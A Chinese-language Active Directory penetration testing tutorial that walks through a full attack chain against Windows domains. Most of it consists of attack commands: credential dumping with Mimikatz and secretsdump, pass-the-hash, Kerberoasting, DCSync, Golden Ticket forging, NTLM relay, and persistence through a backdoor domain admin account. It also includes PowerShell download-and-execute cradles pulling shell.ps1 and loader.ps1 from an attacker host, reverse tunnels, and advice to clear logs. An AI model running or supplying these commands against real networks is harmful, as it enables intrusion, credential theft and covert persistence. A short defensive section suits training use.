适合人群:初级至中级渗透测试工程师、红队成员、SRC漏洞挖掘者
前置知识:网络基础(TCP/IP、HTTP)、基本的Linux命令行操作、内网概念
实验环境:VMware(Windows靶机 + Kali攻击机 + 域控制器)+ 建议隔离局域网操作
一、前置准备
1.1 工具安装
# Kali/Parrot 预装工具(大部分已包含)
# 信息收集
apt-get install -y nmap masscan bloodhound.py crackmapexec impacket-scripts
# 横向移动与提权
pip3 install kerbrute responder impacket ldap3
# 域渗透
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
pip3 install -r /opt/impacket/requirements.txt
# 内网穿透(用于反向连接)
wget https://github.com/fatedier/frp/releases/latest/download/frp_0.58.0_linux_amd64.tar.gz
tar xzf frp_0.58.0_linux_amd64.tar.gz
1.2 靶场搭建
推荐使用以下方式搭建内网渗透训练环境:
# 方式一:VulnNet(推荐,内网拓扑齐全)
# https://www.vulnhub.com/series/vulnnet/
# 方式二:Game of Active Directory (GOAD)
git clone https://github.com/Orange-Cyberdefense/GOAD.git
cd GOAD
docker-compose up -d
1.3 内网渗透核心流程
信息收集 → 横向移动 → 权限维持 → 域控拿下
│ │ │ │
├ 存活主机 ├ 凭证窃取 ├ 计划任务 ├ DCSync攻击
├ 端口服务 ├ Pass-the-Hash ├ 后门服务 ├ Golden Ticket
├ 漏洞扫描 ├ PsExec/WMI ├ WMI事件 ├ Skeleton Key
└ 域信息 └ RDP横向 └ 域持久化 └ DC Admin
二、核心原理
2.1 什么是内网渗透?
内网渗透指攻击者已经获得外网边界点(Webshell、VPN、WiFi)后,在组织内部网络中进行横向移动、权限提升、数据窃取的过程。
核心目标链:
边界突破 → 立足点建立 → 信息收集 → 凭证窃取 → 横向移动 → 域控拿下 → 数据窃取
2.2 内网常见架构
| 架构类型 | 特点 | 渗透难度 |
|---|---|---|
| 工作组 | 无域,每台机器独立管理 | ⭐ 较低 |
| 单域 | 一个域控制器管所有 | ⭐⭐ 中等 |
| 多域/林 | 多个域/林互信 | ⭐⭐⭐⭐ 高 |
| DMZ + 内网分离 | 隔离区到内网需多重跳板 | ⭐⭐⭐⭐⭐ 极高 |
2.3 关键协议与端口
| 协议/服务 | 端口 | 作用 |
|---|---|---|
| SMB | 445 | 文件共享、PsExec横向 |
| RDP | 3389 | 远程桌面 |
| WinRM | 5985/5986 | 远程管理 |
| LDAP | 389/636 | 域信息查询 |
| Kerberos | 88 | 域认证 |
| DNS | 53 | 域解析 |
| MS-SQL | 1433 | 数据库横向 |
| WMI | 135 | 远程命令执行 |
三、实操步骤
🔴 第一阶段:信息收集(决定成败的关键)
Step 1:存活主机探测
# 内网存活扫描(推荐用 Responder 被动探测 + 主动扫描)
# 被动:在内网等待广播包
responder -I eth0 -Pdv
# 主动ICMP扫描
nmap -sn 192.168.1.0/24 -oG alive.txt
cat alive.txt | grep Up | awk '{print $2}'
# 快速端口扫描(重点关注域控相关端口)
nmap -p 88,389,445,3389,5985,135,53 192.168.1.0/24 -T4 --open
Step 2:域信息收集
# 发现域控制器(DC)
nslookup -type=SRV _ldap._tcp.dc._msdcs.target.com
# 或使用 CrackMapExec
cme ldap 192.168.1.0/24 -d target.com -u '' -p ''
cme smb 192.168.1.0/24
# 使用 BloodHound 收集域信息(需要域用户凭证)
bloodhound-python -d target.com -u 'user' -p 'Password123' -ns 192.168.1.10 -c all
Step 3:服务漏洞扫描
# 常见高危服务检测
nmap --script smb-vuln-* -p 445 192.168.1.0/24
nmap --script rdp-vuln-* -p 3389 192.168.1.0/24
# 使用 Vulnmap / Nuclei 模板
nuclei -l alive_hosts.txt -t ~/nuclei-templates/ -c 10
🔴 第二阶段:凭证窃取
Step 1:本地凭据提取
# 拿到初始 Shell 后
# Mimikatz(需要管理员权限)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# 或使用 impacket 的 secretsdump(需要高权限)
impacket-secretsdump target.com/user:'Password123'@192.168.1.10
# 查找明文密码文件
findstr /SIM /C:"password" *.txt *.ini *.xml *.config
find / -name "*.kdbx" 2>/dev/null # Keepass数据库
Step 2:Pass-the-Hash(PTH)
拿到NTLM Hash后无需知道明文,直接认证:
# 使用 impacket 的 psexec
impacket-psexec -hashes :e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b target.com/admin@192.168.1.20
# 或 wmiexec(更隐蔽)
impacket-wmiexec -hashes :e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b target.com/admin@192.168.1.20
# CrackMapExec 批量PTH
cme smb 192.168.1.0/24 -u administrator -H e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b -x whoami
Step 3:Kerberoasting
请求域用户的服务票据,离线破解服务账户密码:
# 用 impacket 的 GetUserSPNs
impacket-GetUserSPNs -dc-ip 192.168.1.10 target.com/user:'Password123' -request
# 保存到文件后用 hashcat 破解
hashcat -m 13100 kerberos_hash.txt /usr/share/wordlists/rockyou.txt
Step 4:AS-REP Roasting
找到不需要预认证(UF_DONT_REQUIRE_PREAUTH)的域用户:
# 枚举无预认证用户
impacket-GetNPUsers -dc-ip 192.168.1.10 target.com/ -usersfile users.txt -format hashcat
# 破解
hashcat -m 18200 asrep_hash.txt rockyou.txt
🔴 第三阶段:横向移动
Step 1:SMB/PTH 横向
# 使用 CrackMapExec 批量检测可达机器
cme smb 192.168.1.0/24 -u administrator -H e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b
# PsExec 执行命令
impacket-psexec target.com/administrator@192.168.1.30 -hashes :e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b
# 执行上线命令
cme smb 192.168.1.0/24 -u administrator -H e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b -x "powershell -c IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/shell.ps1')"
Step 2:服务利用横向
# WinRM 横向
impacket-wmiexec -hashes :e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b target.com/administrator@192.168.1.40
# MS-SQL 数据库横向
cme mssql 192.168.1.0/24 -u sa -p 'sa_password' -x whoami
# SMBExec
impacket-smbexec -hashes :e2fc4a5c6b7d8e9f0a1b2c3d4e5f6a7b target.com/administrator@192.168.1.50
🔴 第四阶段:拿下域控
方式一:DCSync 攻击(最推荐)
拥有域管理员权限后,从DC同步所有用户Hash:
# 使用 impacket 的 secretsdump
impacket-secretsdump -just-dc target.com/administrator@192.168.1.10
# 或使用 mimikatz(在已控机器上)
lsadump::dcsync /domain:target.com /all /csv
方式二:Golden Ticket 攻击
拿到KRBTGT Hash后,构造永不失效的黄金票据:
# 在Mimikatz中
privilege::debug
# 获取KRBTGT Hash(需要DC权限或DCSync)
lsadump::dcsync /domain:target.com /user:krbtgt
# 伪造黄金票据
kerberos::golden /domain:target.com /sid:S-1-5-21-xxxx /krbtgt:KRBTGT_HASH /user:Administrator /id:500 /ptt
# 验证票据
klist
# 使用票据访问DC
dir \\DC01\C$
方式三:NTLM Relay + Printer Bug
利用打印机服务强制DC连接攻击者:
# 1. 攻击机开启 NTLM 中继
impacket-ntlmrelayx -t ldap://192.168.1.10 -smb2support --delegate-access
# 2. 在已控机器上触发 Printer Bug
python3 PrinterBug.py target.com/user@192.168.1.60 x.x.x.x
🔴 第五阶段:权限维持
# DC 上的持久化手段
# 1. DSRM 密码同步(域恢复模式密码)
ntdsutil
> set dsrm password
> sync from domain account krbtgt
# 2. Skeleton Key(万能密码,重启失效)
misc::skeleton
# 3. 创建域管理员用户
net user backdoor Passw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain
四、绕过技术
4.1 绕过杀软横向
# 使用 PowerShell 内存执行(无文件落盘)
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/loader.ps1')"
# 使用 Cobalt Strike / Sliver 等 C2 框架的 SMB Beacon
# 通过命名管道横向
# 使用原生系统工具(LOLBins)
wmic /node:192.168.1.30 process call create "powershell -enc BASE64_ENCODED_CMD"
4.2 绕过网络隔离
# 使用端口转发
# frp(内网穿透)
# frps(服务端配置文件)
[common]
bind_port = 7000
# frpc(客户端——内网机器)
[common]
server_addr = x.x.x.x
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 1080
plugin = socks5
# 或使用 SSH 隧道
ssh -o StrictHostKeyChecking=no -R 1080:localhost:1080 user@x.x.x.x
五、实战案例复盘(脱敏)
场景: 某次授权渗透测试,目标公司使用 域+工作组 混合架构。
攻击路径:
1. 边界发现Tomcat弱口令 → 上传war包 → 获Webshell
2. 内网扫描发现域控192.168.x.10(端口88/389开放)
3. 使用 BloodHound 分析发现 MSSQL 服务账户可DCSync
4. 提权至MSSQL服务账户 → CrackMapExec 验证域管理员
5. DCSync 获取所有用户Hash → 登录域控 → 取证完成
关键细节: 整条链用时约3小时,核心突破点是MSSQL服务账户权限配置不当——该账户被意外加入了Domain Admins组。这也是内网渗透中最常见的配置缺陷。
六、防御建议
| 攻击手法 | 防御措施 | 优先级 |
|---|---|---|
| Weak passwords/PTH | 启用Windows Defender Credential Guard、禁止明文密码存储 | 🔴 高 |
| Kerberoasting | 设置服务账户密码≥25位、定期更换mSVCPassword | 🔴 高 |
| Pass-the-Hash | 启用LSA保护、限制本地管理员权限 | 🔴 高 |
| DCSync | 限制域控复制权限、监控4662事件 | 🔴 高 |
| BloodHound分析 | 最小权限原则、定期审计AD权限配置 | 🟠 中 |
| SMB远程执行 | 禁用SMBv1、防火墙规则限制445端口出站 | 🟠 中 |
快速加固脚本
# 1. 启用LSA保护
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1
# 2. 限制Debug权限
secedit /configure /db secedit.sdb /cfg secpol.inf /areas USER_RIGHTS
# 3. 监控关键事件
# 事件ID 4662: 访问对象(审计AD复制)
# 事件ID 4624: 登录成功(审计PTH登录类型3)
# 事件ID 4768: TGT请求(审计Kerberoasting)
七、常见陷阱
| # | 陷阱 | 正确做法 |
|---|---|---|
| 1 | 拿到Shell就急着提权,忘记信息收集 | 信息收集占内渗透60%精力,没充分收集就盲动会漏掉关键路径 |
| 2 | 只在已控机器上横向,不动摇基础 | 有些横向方式(如WMI)会在目标机上留下大量日志 |
| 3 | 拿到域管后就只是挂机 | 尽快完成目的操作,域管权限可能在下次同步时失效 |
| 4 | 忽略日志清除 | 默认Windows日志保留大量痕迹,需要小心清理 |
| 5 | 只有IPC$横向一种方式 | 至少掌握3种以上横向方法(SMB/WMI/WinRM/DCOM/SC) |
| 6 | 在域控上大量扫描和爆破 | 域控有极高的日志监控力度,优先用DCSync等静默方法 |
八、总结(速查表)
内网渗透速查命令表
| 阶段 | 命令 | 用途 |
|---|---|---|
| 信息收集 | nmap -sV -p 88,389,445,3389,5985 <target> | 发现域服务 |
| 信息收集 | bloodhound-python -d <domain> -u <user> -p <pass> -ns <DC-IP> -c all | 域信息分析 |
| 凭证窃取 | impacket-secretsdump <domain>/<user>@<target> | 导出所有Hash |
| 凭证窃取 | impacket-GetNPUsers <domain>/ -usersfile <users> | AS-REP Roasting |
| 凭证窃取 | impacket-GetUserSPNs <domain>/<user>:<pass> -request | Kerberoasting |
| 横向移动 | cme smb <CIDR> -u admin -H <hash> -x <cmd> | 批量SMB执行 |
| 横向移动 | impacket-psexec -hashes :<hash> <domain>/admin@<target> | PTH执行 |
| 域控拿下 | impacket-secretsdump -just-dc <domain>/admin@<DC-IP> | DCSync |
| 域控拿下 | mimikatz kerberos::golden /krbtgt:<hash> /ptt | Golden Ticket |
| 权限维持 | net group "Domain Admins" backdoor /add /domain | 创建隐藏域管 |
关键提醒
内网渗透的本质是「信任链攻击」——找到组织内部各系统之间的信任关系,一步步扩大控制范围。没捷径,老老实实从信息收集做起。